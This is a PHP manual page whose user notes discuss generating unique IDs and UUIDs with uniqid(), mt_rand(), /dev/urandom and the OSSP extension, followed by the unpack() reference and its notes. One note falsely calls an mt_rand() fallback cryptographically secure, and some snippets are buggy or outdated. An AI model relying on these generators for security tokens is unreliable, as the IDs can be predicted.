$uuid = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
    $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
    $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
?>

That's obviously not production code. It's just for illustration.
Anonymous 17-Jun-2011 01:08
Prefix can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.
So we can include the hostname / servername in the id.
<?php
echo uniqid(php_uname('n'), true);
// Output: darkstar4dfa8c27aea106.40781203
?>
rommel at rommelsantor dot com 29-May-2011 12:29
The php5-uuid functions could definitely use some documentation to clarify how they should be used, but here's what I've gleaned by examining the OSSP source code (found here: http://ossp-uuid.sourcearchive.com/documentation/1.5.1-1ubuntu1/php_2uuid_8c-source.html).

The uuid_make() function takes two arguments when generating v1 or v4, but four arguments are required when generating v3 or v5. The first two arguments have been demonstrated below and are straightforward, so I'll skip to the as-yet non-described arguments.

The third argument to uuid_make() is: $namespace
  - this is a secondary resource created with uuid_create(); it is apparently used to generate an internal UUID, which is used as the namespace of the output UUID

The fourth argument to uuid_make() is: $url
  - this is the value that is to be hashed (MD5 for v3, SHA-1 for v5); it may be any string or even null

Here's a simple class illustrating the proper usage (note that if php5-uuid is not installed on your system, each function call will just return false):

<?php
class UUID {
  /**
   * Generates version 1: MAC address
   */
  public static function v1() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);
    uuid_make($context, UUID_MAKE_V1);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 3 UUID: MD5 hash of URL
   */
  public static function v3($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V3, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 4 UUID: random
   */
  public static function v4() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);

    uuid_make($context, UUID_MAKE_V4);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 5 UUID: SHA-1 hash of URL
   */
  public static function v5($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V5, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }
}
?>

And here's a demonstration:

<?php
for ($i = 1; $i <= 3; ++$i) {
  echo 'microtime = ' . microtime(true) . '<br/>';
  echo "V1 UUID: " . UUID::v1() . '<br/>';
  echo "V3 UUID of URL='abc': " . UUID::v3('abc') . '<br/>';
  echo "V4 UUID: " . UUID::v4() . '<br/>';
  echo "V5 UUID of URL=null: " . UUID::v5(null) . '<br/>';
  echo '<hr/>';
}
?>

And the output:

microtime = 1306620716.0457
V1 UUID: 7fddae8e-8977-11e0-bc11-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: b3851ec7-4871-4527-92b5-ef5616bae1e6
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0465
V1 UUID: 7fddb83e-8977-11e0-9e6e-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 7e78fe0d-59b8-4637-af7f-e88d221a7d1e
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0467
V1 UUID: 7fddbfb4-8977-11e0-a2bc-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 12a940c7-0f3f-46a1-bb5f-bdd602e10654
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d

As you can see, the calls to v3() always return the same UUID because the same URL parameter, "abc", is always supplied. The same goes for the v5() function which is always supplied a null URL.

The v4() UUIDs are always entirely different because they are (pseudo)random. And the v1() calls are very similar but just slightly different because it's based on the computer's MAC address and the current time.
php at ryanmckeel dot com 29-Jun-2010 07:15
Calls to uuid_make that use the constants UUID_MAKE_V5 or UUID_MAKE_V3 (using Debian package php5-uuid available June 2010) will not work with only two variables.

I could not find good documentation, so I read some source code and figured out that this would work:

uuid_create(&$v5);
//uuid_make($v5, UUID_MAKE_V5);
uuid_make($v5, UUID_MAKE_V5,$v5,$uniqid());
uuid_export($v5, UUID_FMT_STR, &$v5String);

Please use at your own risk.  This may not be the best way to give this param variables, but it at least makes it work what appears to be properly (generating unique ID's).

I imagine that UUID_MAKE_V3 is similar in what it needs.

  Ryan
Enrico Pallazzo 21-Mar-2010 11:45
Running:

rand_uniqid(9007199254740989);

will return 'PpQXn7COf' and:

rand_uniqid('PpQXn7COf', true);

will return '9007199254740989'

---

If you want the rand_uniqid to be at least 6 letter long, use the $pad_up = 6 argument

---

You can support even more characters (making the resulting rand_uniqid even smaller) by adding characters to the $index var at the top of the function body.

---

<?php
function rand_uniqid($in, $to_num = false, $pad_up = false, $passKey = null)
{
    $index = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    if ($passKey !== null) {
        // Although this function's purpose is to just make the
        // ID short - and not so much secure,
        // you can optionally supply a password to make it harder
        // to calculate the corresponding numeric ID

        for ($n = 0; $n<strlen($index); $n++) {
            $i[] = substr( $index,$n ,1);
        }

        $passhash = hash('sha256',$passKey);
        $passhash = (strlen($passhash) < strlen($index))
            ? hash('sha512',$passKey)
            : $passhash;

        for ($n=0; $n < strlen($index); $n++) {
            $p[] =  substr($passhash, $n ,1);
        }

        array_multisort($p,  SORT_DESC, $i);
        $index = implode($i);
    }

    $base  = strlen($index);

    if ($to_num) {
        // Digital number  <<--  alphabet letter code
        $in  = strrev($in);
        $out = 0;
        $len = strlen($in) - 1;
        for ($t = 0; $t <= $len; $t++) {
            $bcpow = bcpow($base, $len - $t);
            $out   = $out + strpos($index, substr($in, $t, 1)) * $bcpow;
        }

        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $out -= pow($base, $pad_up);
            }
        }
        $out = sprintf('%F', $out);
        $out = substr($out, 0, strpos($out, '.'));
    } else {
        // Digital number  -->>  alphabet letter code
        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $in += pow($base, $pad_up);
            }
        }

        $out = "";
        for ($t = floor(log($in, $base)); $t >= 0; $t--) {
            $bcp = bcpow($base, $t);
            $a   = floor($in / $bcp) % $base;
            $out = $out . substr($index, $a, 1);
            $in  = $in - ($a * $bcp);
        }
        $out = strrev($out); // reverse
    }

    return $out;
}

echo rand_uniqid(1);
?>
keith at keithtyler dot com 08-Dec-2009 03:18
For the record, the underlying function to uniqid() appears to be roughly as follows:

$m=microtime(true);
sprintf("%8x%05x\n",floor($m),($m-floor($m))*1000000);

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds. This is why it has microsecond precision. Also, it provides a means by which to reverse-engineer the time when a uniqid was generated:

date("r",hexdec(substr(uniqid(),0,8)));

Increasingly as you go further down the string, the number becomes "more unique" over time, with the exception of digit 9, where numeral prevalence is 0..3>4>5..f, because of the difference between 10^6 and 16^5 (this is presumably true for the remaining digits as well but much less noticeable).
Andrew Moore 04-Dec-2009 05:45
The following class generates VALID RFC 4211 COMPLIANT Universally Unique IDentifiers (UUID) version 3, 4 and 5.

Version 3 and 5 UUIDs are named based. They require a namespace (another valid UUID) and a value (the name). Given the same namespace and name, the output is always the same.

Version 4 UUIDs are pseudo-random.

UUIDs generated below validates using OSSP UUID Tool, and output for named-based UUIDs are exactly the same. This is a pure PHP implementation.

<?php
class UUID {
  public static function v3($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = md5($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 3
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x3000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function v4() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

      // 32 bits for "time_low"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff),

      // 16 bits for "time_mid"
      mt_rand(0, 0xffff),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 4
      mt_rand(0, 0x0fff) | 0x4000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      mt_rand(0, 0x3fff) | 0x8000,

      // 48 bits for "node"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
  }

  public static function v5($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = sha1($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 5
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x5000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function is_valid($uuid) {
    return preg_match('/^\{?[0-9a-f]{8}\-?[0-9a-f]{4}\-?[0-9a-f]{4}\-?'.
                      '[0-9a-f]{4}\-?[0-9a-f]{12}\}?$/i', $uuid) === 1;
  }
}

// Usage
// Named-based UUID.

$v3uuid = UUID::v3('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');
$v5uuid = UUID::v5('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');

// Pseudo-random UUID

$v4uuid = UUID::v4();
?>
John Haugeland from FullOf.BS 26-May-2009 07:11
Generating an MD5 from a unique ID is naive and reduces much of the value of unique IDs, as well as providing significant (attackable) stricture on the MD5 domain.  That's a deeply broken thing to do.  The correct approach is to use the unique ID on its own; it's already geared for non-collision.

IDs should never be obfuscated for security, so if you're worried about someone guessing your ID, fix the system, don't just make it harder to guess (because it's nowhere near as difficult to guess as you imagine: you can just brute force the 60,000 MD5s that are generatable from millisecond IDs over the course of a given minute, which the typical computer can do in less than 0.1s).

If you absolutely need to involve a hash somehow - maybe to placate a boss who thinks they understand security much better than they actually do - append it instead.

function BadIdeaID() { return uniqid() . '_' . md5(mt_rand()); }
Marius Karthaus 23-Jan-2009 08:10
Better yet, just use the php5-uuid extension and this class to create 'official' UUIDs at high speed (On my system 1000 UUIDs are created in 0.0064 seconds)

<?php

Usage:
$uuid=new uuid();
echo $uuid->v1();

class uuid {
    /**
     * This class enables you to get real uuids using the OSSP library.
     * Note you need php-uuid installed.
     * On my system 1000 UUIDs are created in 0.0064 seconds.
     *
     * @author Marius Karthaus
     *
     */

    protected $uuidobject;

    /**
     * On long running deamons i've seen a lost resource. This checks the resource and creates it if needed.
     *
     */
    protected function create() {
        if (! is_resource ( $this->uuidobject )) {
            uuid_create ( &$this->uuidobject );
        }
    }

    /**
     * Return a type 1 (MAC address and time based) uuid
     *
     * @return String
     */
    public function v1() {
        $this->create ();
        uuid_make ( $this->uuidobject, UUID_MAKE_V1 );
        uuid_export ( $this->uuidobject, UUID_FMT_STR, &$uuidstring );
        return trim ( $uuidstring );
    }

    /**
     * Return a type 4 (random) uuid
     *
     * @return String
     */
    public function v4() {
        $this->create ();
        uuid_make ( $this->uuidobject, UUID_MAKE_V4 );
        uuid_export ( $this->uuidobject, UUID_FMT_STR, &$uuidstring );
        return trim ( $uuidstring );
    }

    /**
     * Return a type 5 (SHA-1 hash) uuid
     *
     * @return String
     */
    public function v5() {
        $this->create ();
        uuid_make ( $this->uuidobject, UUID_MAKE_V5 );
        uuid_export ( $this->uuidobject, UUID_FMT_STR, &$uuidstring );
        return trim ( $uuidstring );
    }
}
?>
Marius Karthaus 22-Jan-2009 02:39
I've created a class from the function below. With it, creating a lot of uuids beomes about 100 times faster because you do not need to fopen() for each uuid.
uuid::get() still works as a static function if you just need a single uuid.

<?php
class uuid {

    protected $urand;

    public function __construct() {
        $this->urand = @fopen ( '/dev/urandom', 'rb' );
    }

    /**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    function get() {

        $pr_bits = false;
        if (is_a ( $this, 'uuid' )) {
            if (is_resource ( $this->urand )) {
                $pr_bits .= @fread ( $this->urand, 16 );
            }
        }
        if (! $pr_bits) {
            $fp = @fopen ( '/dev/urandom', 'rb' );
            if ($fp !== false) {
                $pr_bits .= @fread ( $fp, 16 );
                @fclose ( $fp );
            } else {
                // If /dev/urandom isn't available (eg: in non-unix systems), use mt_rand().
                $pr_bits = "";
                for($cnt = 0; $cnt < 16; $cnt ++) {
                    $pr_bits .= chr ( mt_rand ( 0, 255 ) );
                }
            }
        }
        $time_low = bin2hex ( substr ( $pr_bits, 0, 4 ) );
        $time_mid = bin2hex ( substr ( $pr_bits, 4, 2 ) );
        $time_hi_and_version = bin2hex ( substr ( $pr_bits, 6, 2 ) );
        $clock_seq_hi_and_reserved = bin2hex ( substr ( $pr_bits, 8, 2 ) );
        $node = bin2hex ( substr ( $pr_bits, 10, 6 ) );

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec ( $time_hi_and_version );
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec ( $clock_seq_hi_and_reserved );
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf ( '%08s-%04s-%04x-%04x-%012s', $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node );
    }

}
sean at seancolombo dot com 06-Jan-2009 04:56
This builds slightly on david's post below.  The differences are that it doesn't require Cake anymore and there is a graceful fallback for /dev/urandom in case that isn't available (/dev/urandom is not available on windows systems for example).

Since it uses mt_rand(), it is still cryptographically secure.

<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
      function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            // If /dev/urandom isn't available (eg: in non-unix systems), use mt_rand().
            $pr_bits = "";
            for($cnt=0; $cnt < 16; $cnt++){
                $pr_bits .= chr(mt_rand(0, 255));
            }
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
david at ramaboo dot com 05-Jan-2009 09:51
Another UUID function. This time using /dev/random
<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    public function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            $this->cakeError('randomNumber');
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
?>
mark at whytewaters dot com 26-Feb-2008 03:39
If you want many ids and performance of this function is an issue why not pull uniquid() out of the loop, eg:

$base = uniqueid();
$ids[] = array();

for ($index = 0; $index < 100000; $index++)
    $ids[] = $base . '.' . $index;
nodkz at mail dot ru 15-Jan-2008 11:00
I use such UUID (it not RFC!!!)
(server_id)-(clientIP)-(unixtime)-(milliseconds)-(random)

 I can easyly determine which server at which time and who initiate creating of object.

<?php

$u=uuid();   // 0001-7f000001-478c8000-4801-47242987
echo $u;
echo "<br>";
print_r(uuidDecode($u)); // Array ( [serverID] => 0001 [ip] => 127.0.0.1 [unixtime] => 1200390144 [micro] => 0.28126525878906 )

function uuid($serverID=1)
{
    $t=explode(" ",microtime());
    return sprintf( '%04x-%08s-%08s-%04s-%04x%04x',
        $serverID,
        clientIPToHex(),
        substr("00000000".dechex($t[1]),-8),   // get 8HEX of unixtime
        substr("0000".dechex(round($t[0]*65536)),-4), // get 4HEX of microtime
        mt_rand(0,0xffff), mt_rand(0,0xffff));
}

function uuidDecode($uuid) {
    $rez=Array();
    $u=explode("-",$uuid);
    if(is_array($u)&&count($u)==5) {
        $rez=Array(
            'serverID'=>$u[0],
            'ip'=>clientIPFromHex($u[1]),
            'unixtime'=>hexdec($u[2]),
            'micro'=>(hexdec($u[3])/65536)
        );
    }
    return $rez;
}

function clientIPToHex($ip="") {
    $hex="";
    if($ip=="") $ip=getEnv("REMOTE_ADDR");
    $part=explode('.', $ip);
    for ($i=0; $i<=count($part)-1; $i++) {
        $hex.=substr("0".dechex($part[$i]),-2);
    }
    return $hex;
}

function clientIPFromHex($hex) {
    $ip="";
    if(strlen($hex)==8) {
        $ip.=hexdec(substr($hex,0,2)).".";
        $ip.=hexdec(substr($hex,2,2)).".";
        $ip.=hexdec(substr($hex,4,2)).".";
        $ip.=hexdec(substr($hex,6,2));
    }
    return $ip;
}

?>
ken at smallboxsoftware 17-May-2007 06:34
Just to note this function is fairly slow, and can bring your script to a crawl if it is in a loop. Strangely if you run it as uniqid('', true) it runs much more quickly
Jason 27-Mar-2007 09:10
Neither the pseudo-random number rand() nor the Mersenne Twister algorithms are cryptographically strong, and this is well known.  Simply combining non-cryptographically strong algorithms doesn't not make a cryptographically strong algorithm either.  Mersenne Twister is a fast algorithm with good k-distribution which will give you numbers for a long time before it repeats itself.  MT, rand(), and MD5 should NOT be used for encryption, or for cookies that that store a session ID that gives personal information.  A simple application where non-collision of session IDs is highly preferred but not critical, such as storing a user's shopping cart items for when they return to your site (but not their personal information), IS a good use for the MT, rand() MD5, uniqid() and combinations thereof.
mailrinke at _cutthis_yahoo dot com 19-Feb-2007 02:06
I have been using mimecs version lately and do not think it's safe to think the results are always unqiue.

Although it could be just my bad programming, I found exactly 1 collission while debugging my code. It seems to me that if my code was incorrect it would have happened more than once.

I recommend anyone to include time as a factor of such an ID as to be a little more certain it is in fact unique.
Emery 31-Jan-2007 09:13
The example given in this document for a "better token" should be:

<?php
$better_token = uniqid(md5(rand()), true);
?>

As it is now, the result isn't guaranteed to be unique, because MD5 has collisions.
lance_rushing at hotmail dot com 23-Jan-2007 09:43
wooshoofoo, the reason mimec is calling mt_rand multiple times is because the largest number mt_rand can produce is 2^31 (2147483647, as reported by mt_getrandmax() on my server).  RFC 4122 requires a 128 bit value.

Also they are not "4 digit sequeces", but 4 digit hexadecimal numbers.  16^4 == 2^16.

mimec's limiting each random result to 2^16 avoids problem of PHP's 2^32 integer max (http://php.net/manual/en/language.types.integer.php).

If you want to call mt_rand fewer times:  mimec's version calls mt_rand 8 times ( 16 bits * 8 = 128 bits ).  You *could* call mt_rand 5 times ( 31 bits + 31 bits + 31 bits + 31 bits + 4 bits = 128 bits ).  But then you would have keep all your values as strings.

Something like:

<?php
/**
 * Another (ugly) "random or pseudo-random" version of RFC 4122
 *
 * This version calls mt_rand() the fewest possible times.
 * if mt_getrandmax() == 2^31 then this will call mt_rand() 5 times YMMV
 *
 * Personally, I would use mimec's version
 * To handle the large values, we'll keep everything as strings.
 *
 * @return string
 */
function uuid() {

     // Generate 128 bit random sequence
     $randmax_bits = strlen(base_convert(mt_getrandmax(), 10, 2));  // how many bits is mt_getrandmax()
     $x = '';
     while (strlen($x) < 128) {
         $maxbits = (128 - strlen($x) < $randmax_bits) ? 128 - strlen($x) :  $randmax_bits;
         $x .= str_pad(base_convert(mt_rand(0, pow(2,$maxbits)), 10, 2), $maxbits, "0", STR_PAD_LEFT);
     }

     // break into fields
     $a = array();
     $a['time_low_part'] = substr($x, 0, 32);
     $a['time_mid'] = substr($x, 32, 16);
     $a['time_hi_and_version'] = substr($x, 48, 16);
     $a['clock_seq'] = substr($x, 64, 16);
     $a['node_part'] =  substr($x, 80, 48);

     // Apply bit masks for "random or pseudo-random" version per RFC
     $a['time_hi_and_version'] = substr_replace($a['time_hi_and_version'], '0100', 0, 4);
     $a['clock_seq'] = substr_replace($a['clock_seq'], '10', 0, 2);

    // Format output
    return sprintf('%s-%s-%s-%s-%s',
        str_pad(base_convert($a['time_low_part'], 2, 16), 8, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_mid'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_hi_and_version'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['clock_seq'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['node_part'], 2, 16), 12, "0", STR_PAD_LEFT));
}

?>

However, I think mimec's version is much more elegant.
wooshoofoo 07-Dec-2006 03:00
I'm not sure the previous function by mimec is really all that random.  For one thing, generating 8 small random 4 digit sequeces != generating one 32 digit sequence.
admin at code-dynasty dot net 09-Jul-2006 05:46
I'm not too fond of the recommendation to use an MD5 of the unique ID for session IDs. It would be a better idea just to use uniqueid(rand(), true) without the MD5, because even though it's a rare circumstance, MD5 is a hash, not an encryption, which means it has collisions. Therefore you theoretically could have multiple users given the same session ID which could result in one user's ability to access another user's data.


Unpack data from binary string

  • « uniqid
  • usleep »
  • PHP Manual
  • Misc. Functions
  • Unpack data from binary string

unpack

(PHP 4, PHP 5)

unpack — Unpack data from binary string

Description

array unpack ( string $format , string $data )

Unpacks from a binary string into an array according to the given format.

The unpacked data is stored in an associative array. To accomplish this you have to name the different format codes and separate them by a slash /. If a repeater argument is present, then each of the array keys will have a sequence number behind the given name.

Parameters

format

See pack() for an explanation of the format codes.

data

The packed data.

Return Values

Returns an associative array containing unpacked elements of binary string.

Changelog

Version | Description
5.5.0 | Changes were made to bring this function into line with Perl: The "a" code now retains trailing NULL bytes. The "A" code now strips all trailing ASCII whitespace (spaces, tabs, newlines, carriage returns, and NULL bytes). The "Z" code was added for NULL-padded strings, and removes trailing NULL bytes.

Examples

Example #1 unpack() example

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("cchars/nint", $binarydata);
?>

The resulting array will contain the entries "chars" with value 4 and "int" with 160.

Example #2 unpack() example with a repeater

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("c2chars/nint", $binarydata);
?>

The resulting array will contain the entries "chars1", "chars2" and "int".

Notes

Caution

Note that PHP internally stores integral values as signed. If you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified.

Caution

Be aware that if you do not name an element, an empty string is used. If you do not name more than one element, this means that some data is overwritten as the keys are the same such as in:

Example #3 unpack() example with unnamed keys

<?php
$binarydata = "\x32\x42\x00\xa0";
$array = unpack("c2/n", $binarydata);
var_dump($array);
?>

The resulting array will contain the entries "1" with value 160 and "2" with 66. The first value from the c specifier is overwritten by the first value from the n specifier.

See Also

  • pack() - Pack data into binary string

User Contributed Notes

yvan dot burrie at hotmail dot com 01-Oct-2013 08:03
Here's a demonstration concerning the speed of unpacking files:
So let's see which method is fastest between FREAD or SUBSTR?

I was creating a script that could read scenario files from a game, and render a preview of its terrain. The terrain structure within each file was huge (between 100,000 - 1,000,000 blocks containing 3 bits of data each). Therefore, I spent much effort to ensure it was fast and robust.

Method 1: This method retrieves the 3 bits of data found in each block. It uses the loop of widthxheight and implode+unpack+substr each block:
<?php
for ( $Y = 0 ; $Y < ( $width * $height ) ; $Y ++ ) {
    $Output [ Map ] [ $Y ] [ TerrainID ] = implode ( null , unpack ( 'c1' , substr ( $Input , $Line ) ) ) ; $Line += 1 ;
    $Output [ Map ] [ $Y ] [ Elevation ] = implode ( null , unpack ( 'c1' , substr ( $Input , $Line ) ) ) ; $Line += 1 ;
    $Output [ Map ] [ $Y ] [ Unknown ] = implode ( null , unpack ( 'c1' , substr ( $Input , $Line ) ) ) ; $Line += 1 ;
}
//The average microtime was: 2.9 sec
?>
Note that it takes even more time if you use a custom function to implement the implode+unpack+substr functions.

Now... This method uses the FREAD function:
<?php
for ( $Y = 0 ; $Y < ( $width * $height ) ; $Y ++ ) {
    $Output [ Map ] [ $Y ] = unpack ( 'c3' , fread ( $sc , 3 ) ) ;
}
//Average microtime was: 0.7 sec
?>
I recommend using the FREAD method instead of SUBSTR.

Another test!!! This method is 10x faster than the above. This does not use the FOR loop:
<?php
$Output [ Map ] [ Data ] = unpack ( 'c' . ( $width * $height ) , stream_get_contents ( $sc ) ) ;
//Average microtime: 0.08 - 0.05 sec
?>

If you want to read files much faster, you should try to reduce the number of loops and use the unpack function to its simplest and robust method.
googlybash24 at aol dot com 20-Sep-2012 02:20
To convert big endian to little endian or to convert little endian to big endian, use the following approach as an example:

<?php
// file_get_contents() returns a binary value, unpack("V*", _ ) returns an unsigned long 32-bit little endian decimal value, but bin2hex() after that would just give the hex data in the file if alone, so instead we use:
// file_get_contents(), unpack("V*", _ ), then dechex(), in that order, to get the byte-swapping effect.
?>

With the logic of the approach in this example, you can discover how to swap the endian byte order as you need.
kobrasrealm at gmail dot com 10-May-2012 02:50
I wrote a quick pair of functions using pack/unpack for converting between raw binary (e.g. openssl_random_pseudo_bytes() output) and hexadecimal (e.g. hash() output):

<?php
function raw2hex($raw) {
  $m = unpack('H*', $raw);
  return $m[1];
}

function hex2raw($hex) {
  return pack('H*', $hex);
}
?>

Feel free to suggest any improvements, but I thought this was worth sharing.
rogier 05-Oct-2011 04:19
be aware of the behavior of your system that PHP resides on.

On x86, unpack MAY not yield the result you expect for UInt32

